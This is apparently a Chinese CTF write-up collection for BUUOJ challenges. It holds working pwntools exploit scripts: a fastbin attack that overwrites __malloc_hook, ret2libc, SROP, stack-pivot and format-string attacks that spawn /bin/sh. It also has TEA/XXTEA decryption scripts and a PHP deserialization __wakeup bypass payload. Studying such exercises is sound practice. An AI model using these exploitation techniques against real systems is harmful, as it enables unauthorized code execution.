#gdb.attach(p)

payload = p64(0) * 3
payload += p64(0x21)
payload += p64(0) * 3
payload += p64(0x21)
payload += p8(0x80)
fill(0,payload)

#gdb.attach(p)

payload = p64(0) * 3
payload += p64(0x21)
fill(3,payload)

#gdb.attach(p)

allocate(0x10)
allocate(0x10)
# 这里chunk1指向之前的chunk2,chunk2指向之前的chunk4
fill(1,'aaaa')
fill(2,'bbbb')
payload = p64(0) * 3
payload += p64(0x91)
fill(3,payload) # 将chunk4改为之前的大小
allocate(0x80) # 这个allocate应该是防止free之后直接放回top chunk
free(4) # chunk4被改为0,但是chunk2记录了chunk4的地址,也就可以dump chunk2的内容
# chunk2中储存了chunk4的地址(fd)
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78 # 这里是因为对应的libc中,malloc_state基址在libc的data段内,减掉这个基址就是libc基址了,参考 https://blog.csdn.net/liucc09/article/details/112244972
# unsortedbin是0号bin,偏移为main_arena+0x58,main_arena相对libc偏移为0x3c4b20
log.info("libc_base: "+hex(libc_base))

# 覆盖_malloc_hook函数,调试是使用这句话获取_malloc_hook地址。_malloc_hook函数低于main_arena,可以使用ida打开对应的libc查看。必定在data段,所以可以dump data段数据然后寻找
# x/32xw (long long)(&main_arena)-0x40
'''
.data:00000000003C4B10 __malloc_hook dq offset sub_85830 ; DATA XREF: LOAD:000000000000A380↑o
.data:00000000003C4B10 ; .got:__malloc_hook_ptr↑o
.data:00000000003C4B18 align 20h
.data:00000000003C4B20 dword_3C4B20 dd 0 ; DATA XREF: sub_7D910:loc_7DB8E↑o
.data:00000000003C4B20 ; sub_7D910+341↑o ...
.data:00000000003C4B24 dword_3C4B24 dd 0 ; DATA XREF: sub_7DEB0:loc_7DEEE↑r
.data:00000000003C4B24 ; sub_7DFA0:loc_7DFE7↑r ...
.data:00000000003C4B28 unk_3C4B28 db 0 ; DATA XREF: malloc_set_state:loc_86181↑o
.data:00000000003C4B29 db 0
.data:00000000003C4B2A db 0
.data:00000000003C4B2B db 0
.data:00000000003C4B2C db 0
.data:00000000003C4B2D db 0
.data:00000000003C4B2E db 0
.data:00000000003C4B2F db 0
'''
malloc_hook_addr=-0x7f74ca87d000+0x7f74cac41b10
to_use_addr=-0x7f74ca87d000+0x7f74cac41aed # 欲利用的地址中,构造出的chunk的size字段需要是位于fastbin大小的。且该处位于malloc_hook的低地址处,可以影响malloc_hook的数据
# 需要构造地址把一些数据的高位挤出去,出现所需大小
'''
pwndbg> x/40xw (long long)(&main_arena)-0x40+0xd
0x7f74cac41aed <_IO_wide_data_0+301>: 0x60000000 0x74cac402 0x0000007f 0x00000000
0x7f74cac41afd: 0xa0000000 0x74ca902e 0x7000007f 0x74ca902a
0x7f74cac41b0d <__realloc_hook+5>: 0x0000007f 0x00000000 0x00000000 0x00000000
0x7f74cac41b1d: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f74cac41b2d <main_arena+13>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f74cac41b3d <main_arena+29>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f74cac41b4d <main_arena+45>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f74cac41b5d <main_arena+61>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f74cac41b6d <main_arena+77>: 0x00000000 0x00000000 0xa0000000 0x58d55651
0x7f74cac41b7d <main_arena+93>: 0x00000055 0x00000000 0x80000000 0x58d55650
'''
# gdb可以搜索字符串,info proc map+find start,end,"/bin/sh"

allocate(0x60)
free(4)
payload = p64(libc_base+to_use_addr) # 构造的地址
fill(2, payload) # 2实际上指向4的chunk,fd指向构造的chunk

allocate(0x60)
allocate(0x60) # 这里就分配了构造的chunk

payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a) # 0x4526a是通过one_gadget获取的地址
'''
tom@tom-RedmiBook-14:~$ one_gadget Downloads/libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
fill(6, payload)

# #gdb.attach(p)

allocate(255) # 调用one_gadget

p.interactive()

运行该exp的时候注意使用出题方提供的libc,buuoj resources页面下可以下载对应的libc

使用

1
2
import os
os.environ['LD_PRELOAD']='./libc-2.23.so'

设置

[pwn]pwn2_sctf_2016

vuln中利用整数溢出漏洞,然后栈溢出。

do_thing中使用了系统调用

get_n中发现如果以’\n’结尾也可以结束输入,避免输入过大,但是也导致不能包含\n

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
import os
from LibcSearcher import *

context.log_level='debug'
os.environ['LD_PRELOAD']='./libc-2.23-32.so'
# p=process('./pwn2_sctf_2016')
p=remote('node4.buuoj.cn',26408)
elf=ELF('./pwn2_sctf_2016')
# libc=ELF('./')
context.terminal=['gnome-terminal','-x','sh','-c']

p.recvuntil('read?')
p.sendline('-1')
p.recvuntil('data!\n')

do_thing_addr=elf.sym['do_thing']
atoi_got=elf.got['atoi']
vuln_addr=elf.sym['main']
printf_addr=elf.sym['printf']
printf_got=elf.got['printf']
s_addr=next(elf.search(b'%s\n\00'))
payload=b'a'*0x2c+b'a'*4+p32(printf_addr)+p32(vuln_addr)+p32(s_addr)+p32(printf_got)
p.sendline(payload)
r=p.recv()
print(r)
start=len(payload)+len('You said: ')+1
printf=u32(r[start:start+4])
print(hex(printf))
# 使用libcsearcher发现无法匹配,但是buuoj下载的就可以
# libc=LibcSearcher('printf',printf)
# libc_base=printf-libc.dump('printf')
# print(hex(libc_base))
# binsh=libc.dump('str_bin_sh')+libc_base
# sys_addr=libc.dump('system')+libc_base
libc=ELF('./libc-2.23-32.so')
libc_base=printf-libc.sym['printf']
print(libc_base)
binsh=next(libc.search(b'/bin/sh\x00'))+libc_base
sys_addr=libc.sym['system']+libc_base
print(hex(binsh),hex(sys_addr))
p.sendline('-1')
p.recvuntil(b'data!\n')
payload=b'a'*0x2c+b'a'*4+p32(sys_addr)+p32(vuln_addr)+p32(binsh)
# payload=b'a'*0x30+p32(0x4526a+libc_base)
# print(payload)
# 0x4526a
p.sendline(payload)
# p.recv()
p.sendline('cat flag')
p.interactive()

[rev[GKCTF 2021]app-debug

调用了native的check函数

无JNI_OnLoad函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall Java_com_example_myapplication_MainActivity_check(__int64 a1, __int64 a2, __int64 a3)
{
int i; // [xsp+24h] [xbp-4Ch]
unsigned __int8 v5; // [xsp+4Ch] [xbp-24h]
char v6[24]; // [xsp+50h] [xbp-20h] BYREF
__int64 v7; // [xsp+68h] [xbp-8h]

v7 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
sub_78FEBA2E20(a1, a3); // 经过一系列复杂操作获取了用户输入= =
if ( sub_78FEBA3040(v6) == 7 )
{
for ( i = 0; i <= 6; ++i )
byte_78FEC2B0E0[i] = *(_BYTE *)sub_78FEBA3064(v6, i); // 纯复制
v5 = sub_78FEBA1D8C(byte_78FEC2B0E0); // tea加密后验证
}
else
{
v5 = 0;
}
sub_78FEBA2C04(v6); // delete
_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
return v5;
}

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <limits.h>
#include <inttypes.h>
#include <math.h>
#include <stdlib.h>
#include <stdio.h>

void decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
uint32_t delta=0x458BCD42;
sum=delta*32; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}
int main(){
uint32_t key[]={9,7,8,6};
uint32_t v[]={0xF5A98FF3,0xA21873A3};
decrypt(v,key);
printf("%s\n",v);
return 0;
}

[pwn]jarvisoj_fm

先判断参数位置,第10个,然后向对应位置写入4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
import os
from LibcSearcher import *

context.log_level='debug'
os.environ['LD_PRELOAD']='./libc-2.23-32.so'
# p=process('./fm')
p=remote('node4.buuoj.cn',29536)
elf=ELF('./fm')
# libc=ELF('./')
context.terminal=['gnome-terminal','-x','sh','-c']

# payload='aaaa%1$x.%2$x.%3$x.%4$x.%5$x.%6$x.%7$x.%8$x.%9$x.%10$x.%11$8x.%12$8x.%13$8x'
# 判断参数位置
target_addr=elf.sym['x']
payload=p32(target_addr)+b'%11$n'
print(payload)
p.sendline(payload)

p.interactive()

[reverse][GKCTF 2021]SoMuchCode

根据hint,查看CFG图

有4组块,每组块内部有若干相同的块,根据CFG图,处理流程是一样的。

通过调试得知,第一组块用于输出

输入函数为1010,即scanf

然后发现只有sub_140001310(8i64, input, &dword_14000A6F8);引用了input

函数内交叉引用第二个参数,发现一系列操作,说明其它操作无关的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

input_1 = input[1];
v117 = &dword_14000A6F8[v99];
*input += ((*v117 ^ input_7) + (input_1 ^ v75)) ^ (((16 * input_7) ^ (input_1 >> 3))
+ ((input_7 >> 5) ^ (4 * input_1)));
v118 = *input;
v205 = v118;
v119 = input[2];
v120 = (unsigned int)v115 ^ 1i64;
v121 = (((dword_14000A6F8[v120] ^ v118) + (v119 ^ v75)) ^ (((16 * v118) ^ (v119 >> 3)) + ((v118 >> 5) ^ (4 * v119))))
+ input_1;
input[1] = v121;
v122 = input[3];
v123 = (unsigned int)v115 ^ 2i64;
v124 = v119
+ ((((16 * v121) ^ (v122 >> 3)) + ((v121 >> 5) ^ (4 * v122))) ^ ((v122 ^ v75) + (dword_14000A6F8[v123] ^ v121)));
input[2] = v124;
v125 = input[4];
v210 = v115 ^ 3;
v126 = v122
+ ((((16 * v124) ^ (v125 >> 3)) + ((v124 >> 5) ^ (4 * v125))) ^ ((v125 ^ v75)
+ (dword_14000A6F8[v115 ^ 3] ^ v124)));
input[3] = v126;
v127 = input[5];
v128 = v125 + ((((16 * v126) ^ (v127 >> 3)) + ((v126 >> 5) ^ (4 * v127))) ^ ((v127 ^ v75) + (*v117 ^ v126)));
input[4] = v128;
v129 = input[6];
v130 = (((dword_14000A6F8[v120] ^ v128) + (v129 ^ v75)) ^ (((16 * v128) ^ (v129 >> 3)) + ((v128 >> 5) ^ (4 * v129))))
+ v127;
input[5] = v130;
v131 = v129
+ ((((16 * v130) ^ (input[7] >> 3)) + ((v130 >> 5) ^ (4 * input[7]))) ^ ((dword_14000A6F8[v123] ^ v130)
+ (input[7] ^ v75)));
input[6] = v131;
//...
result = input;
input[7] += (v209 + ((v205 >> 3) ^ (16 * v131))) ^ ((v205 ^ v207) + (dword_14000A6F8[v210] ^ v131));
input_7 = input[7];

可以看出是类似tea加密的函数,经过比对得到是xxtea加密,DELTA=0x33445566

key是0x36b0,0x013816,0x10,0x01e0f3,加密12轮,n=8

然后是验证部分,继续向下找,找到了这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
while ( 1 )
{
// ...
if ( (_BYTE)v377 != (_BYTE)v383 ) // 只有这里打断了循环,所以这两个应该是判断
break;
if ( ++v376 >= 32 ) // 很明显是个计数器
{
// ...
// 输出成功信息
sub_7FF7B3CA6120(v425, "GKCTF{(ur input)");
//...
}
}
//...

对比那里需要知道哪个变量是输入的,哪个是代比对数据,可以变换自己的输入查看

要比对的数据

1
0x993CAB5C, 0x3F40E129, 0x777791DE, 0x737DFEA6, 0x0ECCF59E6, 0x0C9604CE3, 0x9682C0A5, 0x556F2A1E

解密脚本,来自 https://bbs.pediy.com/thread-268288.htm#msg_header_h2_3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdlib.h>
#define DELTA 0x33445566
int main()
{
unsigned int v[8] = {0x993CAB5C, 0x3F40E129, 0x777791DE, 0x737DFEA6, 0x0ECCF59E6, 0x0C9604CE3, 0x9682C0A5, 0x556F2A1E};
unsigned int key[4] = {0x000036B0, 0x00013816, 0x00000010, 0x0001E0F3};
unsigned int sum = 0;
unsigned int y,z,p,rounds,e;
int n = 8;
int i = 0;
rounds = 12;
y = v[0];
sum = (rounds*DELTA)&0xffffffff;
do //0x9E3779B9*(52/35)-0x4AB325AA,测试来要循环7次
{
e = sum >> 2 & 3;
for(p=n-1;p>0;p--) //34次循环
{
z = v[p-1];
v[p] = (v[p] - ((((z>>5)^(y<<2))+((y>>3)^(z<<4))) ^ ((key[(p^e)&3]^z)+(y ^ sum)))) & 0xffffffff;
y = v[p];
}
z = v[n-1];
v[0] = (v[0] - (((key[(p^e)&3]^z)+(y ^ sum)) ^ (((y<<2)^(z>>5))+((z<<4)^(y>>3))))) & 0xffffffff;
y = v[0];
sum = (sum-DELTA)&0xffffffff;
}while(--rounds);
for(i=0;i<8;i++)
{
printf("%c%c%c%c",*((char*)&v[i]+0),*((char*)&v[i]+1),*((char*)&v[i]+2),*((char*)&v[i]+3));
}
return 0;
}

[pwn]ciscn_2019_s_3

gadgets函数中有两个系统调用,一个是0xf(sys_rt_sigreturn),一个是0x3b(sys_execve)

有两种解法 https://blog.csdn.net/github_36788573/article/details/103541178

1 execve

目的在于执行execve(‘/bin/sh’,0,0),通过main栈帧泄露地址。

1
2
3
4
5
rax=0x3d
rdi="/bin/sh"
rsi=0
rdx=0
syscall

在执行write时,栈帧如下(8字节对齐)

可以看到main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.text:000000000040051D ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:000000000040051D public main
.text:000000000040051D main proc near ; DATA XREF: _start+1D↑o
.text:000000000040051D
.text:000000000040051D var_10 = qword ptr -10h
.text:000000000040051D var_4 = dword ptr -4
.text:000000000040051D
.text:000000000040051D ; __unwind {
.text:000000000040051D push rbp
.text:000000000040051E mov rbp, rsp
.text:0000000000400521 sub rsp, 10h
.text:0000000000400525 mov [rbp+var_4], edi
.text:0000000000400528 mov [rbp+var_10], rsi
.text:000000000040052C mov eax, 0
.text:0000000000400531 call vuln
.text:0000000000400536 nop
.text:0000000000400537 leave
.text:0000000000400538 retn
.text:0000000000400538 ; } // starts at 40051D
.text:0000000000400538 main endp

rdi即argc,rsi即argv,argv指向一系列字符串的地址,位于main栈帧的下面

1
2
3
4
5
6
7
8
9
buf_0
buf_1
main_rsp
main
var_4
var_10
老rsp
main的上一个函数
...

所以var_10处存储argv的起始地址,可以通过这个计算buf的地址,可以通过调试得知偏移是0x118

使用ROPgadget获取所需的pop指令,但是缺少pop rdx指令

但是libc_csu_init中有以下指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:0000000000400580                 mov     rdx, r13
.text:0000000000400583 mov rsi, r14
.text:0000000000400586 mov edi, r15d
.text:0000000000400589 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040058D add rbx, 1
.text:0000000000400591 cmp rbx, rbp
.text:0000000000400594 jnz short loc_400580
.text:0000000000400596
.text:0000000000400596 loc_400596: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596 add rsp, 8
.text:000000000040059A pop rbx
.text:000000000040059B pop rbp
.text:000000000040059C pop r12
.text:000000000040059E pop r13
.text:00000000004005A0 pop r14
.text:00000000004005A2 pop r15
.text:00000000004005A4 retn

首先将r13的值赋值到rdx中,r14赋值到rsi中,r15赋值到edi中,然后调用r12指向的函数

找到一个ROP

1
0x000000000040059c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

由于地址高位是0,所以需要额外增加pop rdi进行binsh的传递

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
import LibcSearcher

context.arch='amd64'
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
import os
os.environ['LD_PRELOAD']='./libc-2.27.so'
# p=gdb.debug('./ciscn_s_3')
p=process('./ciscn_s_3')
# p=remote('node4.buuoj.cn',27577)
elf=ELF('./ciscn_s_3')
# libc=ELF('./libc-2.27.so')

read_addr=0x4004ed
write_addr=0x400503
vuln_addr=elf.sym['vuln']
p_rbx_rbp_r12_r13_r14_r15=0x40059a
p_rdi=0x4005a3

csu=0x400580
syscall=0x400517
execve=0x4004e2

payload=b'/bin/sh\x00'*2+p64(vuln_addr)
p.sendline(payload)
p.recv(0x20)
r=p.recv(8)
p.recv()
binsh=u64(r)-0x118

payload=b'/bin/sh\x00'*2+p64(p_rbx_rbp_r12_r13_r14_r15)+p64(0)+p64(0)+p64(binsh+0x50)+p64(0)+p64(0)+p64(0)+p64(csu)+p64(p_rdi)+p64(binsh)+p64(execve)+p64(syscall)
p.sendline(payload)
# gdb.attach(p)

p.interactive()

rt_sigreturn

这个是恢复环境用的,构造栈帧即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
import LibcSearcher

context.arch='amd64'
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
import os
os.environ['LD_PRELOAD']='./libc-2.27.so'
# p=gdb.debug('./ciscn_s_3')
# p=process('./ciscn_s_3')
p=remote('node4.buuoj.cn',25627)
elf=ELF('./ciscn_s_3')
# libc=ELF('./libc-2.27.so')

vuln_addr=elf.sym['vuln']
syscall=0x400517

payload=b'/bin/sh\x00'*2+p64(vuln_addr)
p.sendline(payload)
p.recv(0x20)
r=p.recv(8)
p.recv()
binsh=u64(r)-0x118

sigret=0x4004da
sig=SigreturnFrame()
sig.rdx=0
sig.rdi=binsh
sig.rsi=0
sig.rip=syscall
sig.rax=constants.SYS_execve

payload=b'/bin/sh\x00'*2+p64(sigret)+p64(syscall)+bytes(sig)
p.sendline(payload)
p.interactive()

[pwn][HarekazeCTF2019]baby_rop2

简单ROP,先泄露read地址,然后跳转到system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
import os
from LibcSearcher import *

# context.log_level='debug'
os.environ['LD_PRELOAD']='./libc-babyrop2.so.6'
context.terminal=['xfce4-terminal','-x','sh','-c']
context.arch='amd64'
# p=process('./babyrop2')
# gdb.attach(p)
# p=gdb.debug('./babyrop2')
p=remote('node4.buuoj.cn',25184)
elf=ELF('./babyrop2')
libc=ELF('./libc-babyrop2.so.6')

main_addr=elf.sym['main']
read_got=elf.got['read']
read_addr=elf.sym['read']
printf_addr=elf.sym['printf']
fmt_addr=next(elf.search(b'%s'))
p_rdi=0x400733
p_rsi_r15=0x400731
payload=b'a'*0x28+p64(p_rdi)+p64(fmt_addr)+p64(p_rsi_r15)+p64(read_got)+p64(0)+p64(printf_addr)+p64(main_addr)
p.recvuntil('name?')
p.sendline(payload)
p.recvuntil(b'aaaa!\n')
r=p.recvuntil(b'!\n')[:-2]
r=r.ljust(8,b'\x00')
read_=u64(r)
print(hex(read_))

libc_base=read_-libc.sym['read']
print(hex(libc_base))
sys_addr=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b'/bin/sh\x00'))
payload=b'a'*0x28+p64(p_rdi)+p64(binsh)+p64(sys_addr)
print(payload)
p.recvuntil(b'name?')
p.sendline(payload)
p.sendline('cat /home/babyrop2/flag')
p.interactive()

gnome-terminal没办法直接调试,只能手动执行命令调试

[pwn]ciscn_2019_es_2

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}

只能覆盖老rbp和一个栈地址

可以第一次泄露老rbp,然后覆盖rbp,使栈顶指向栈内的binsh字符串,最后调用system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
import LibcSearcher

context.arch='amd64'
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
import os
# os.environ['LD_PRELOAD']='./libc-2.27-32.so'
# p=gdb.debug('./ciscn_2019_es_2')
# p=process('./ciscn_2019_es_2')
p=remote('node4.buuoj.cn',28343)
elf=ELF('./ciscn_2019_es_2')
# libc=ELF('./libc-2.27.so')

vuln_addr=elf.sym['vul']
hack_addr=elf.sym['hack']
payload=b'a'*0x27
p.sendline(payload)
p.recvuntil(payload+b'\n')
r=p.recv()
rbp=u32(r[:4])
print(hex(rbp))
leave_addr=0x8048562
system_addr=0x8048559

payload=p32(system_addr)+p32(rbp-0x24-0xc)+b'/bin/sh\x00'+b'a'*0x18+p32(rbp-0x24-0x18)+p32(leave_addr)
print(len(payload))
p.send(payload)
p.interactive()

[pwn]ez_pz_hackover_2016

需要注意的是,拷贝的源地址是&src,也就是参数的地址,而不是s本身的地址

1
2
3
4
5
6
void *__cdecl vuln(int src, size_t n)
{
char dest[50]; // [esp+6h] [ebp-32h] BYREF

return memcpy(dest, &src, n);
}

这个地址可以通过调试得到,然后是相对s的偏移地址也通过调试得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
import os
from LibcSearcher import *

context.log_level='debug'
context.arch='i386'
context.os='linux'
shellcode=asm(shellcraft.sh())
# os.environ['LD_PRELOAD']='./libc-2.23-32.so'
context.terminal=['gnome-terminal','-x','sh','-c']
# p=process('./ez_pz')
# gdb.attach(p)
# p=gdb.debug('./ez_pz')
p=remote('node4.buuoj.cn',28940)
elf=ELF('./ez_pz')
libc=ELF('./libc-2.23-32.so')
p.recvuntil('lets crash: 0x')
s_addr=int(p.recv(8),base=16)
print(hex(s_addr))

payload=b'crashme\x00'+b'a'*(0x16-8+4)+p32(s_addr+0xe0-0xfc)+shellcode
print(hex(u32(shellcode[:4])))
p.sendline(payload)
p.sendline('cat flag')
p.interactive()

[pwn][Black Watch 入群题]PWN

虽然只能溢出栈地址和返回地址,但是可以进行栈迁移,即可执行ROP

[pwn]picoctf_2018_rop chain

1
2
3
4
5
6
7
8
9
10
from pwn import *

# p=process('/home/tom/Downloads/rop_chain')
p=remote('node4.buuoj.cn',27779)
elf=ELF('/home/tom/Downloads/rop_chain')
pr_addr=0x080485d6
payload=b'a'*28+p32(elf.sym['win_function1'])+p32(elf.sym['win_function2'])+p32(pr_addr)+p32(0xBAAAAAAD)+p32(elf.sym['flag'])+p32(0xaaaaaaaa)+p32(0xdeadbaad)

p.sendline(payload)
p.interactive()

[web][极客大挑战2019]PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

<?php
class Name{
public $username = 'nonono';
public $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
echo $this->password;
echo $this->username;
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
echo serialize(new Name('admin',100));

$n=unserialize
('O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}');
echo $n->username;
?>

反序列化中包含’\x00’,这个需要通过\%00转换。__wakeup函数需要通过字段数大于实际属性数绕过,是CVE-2016-7124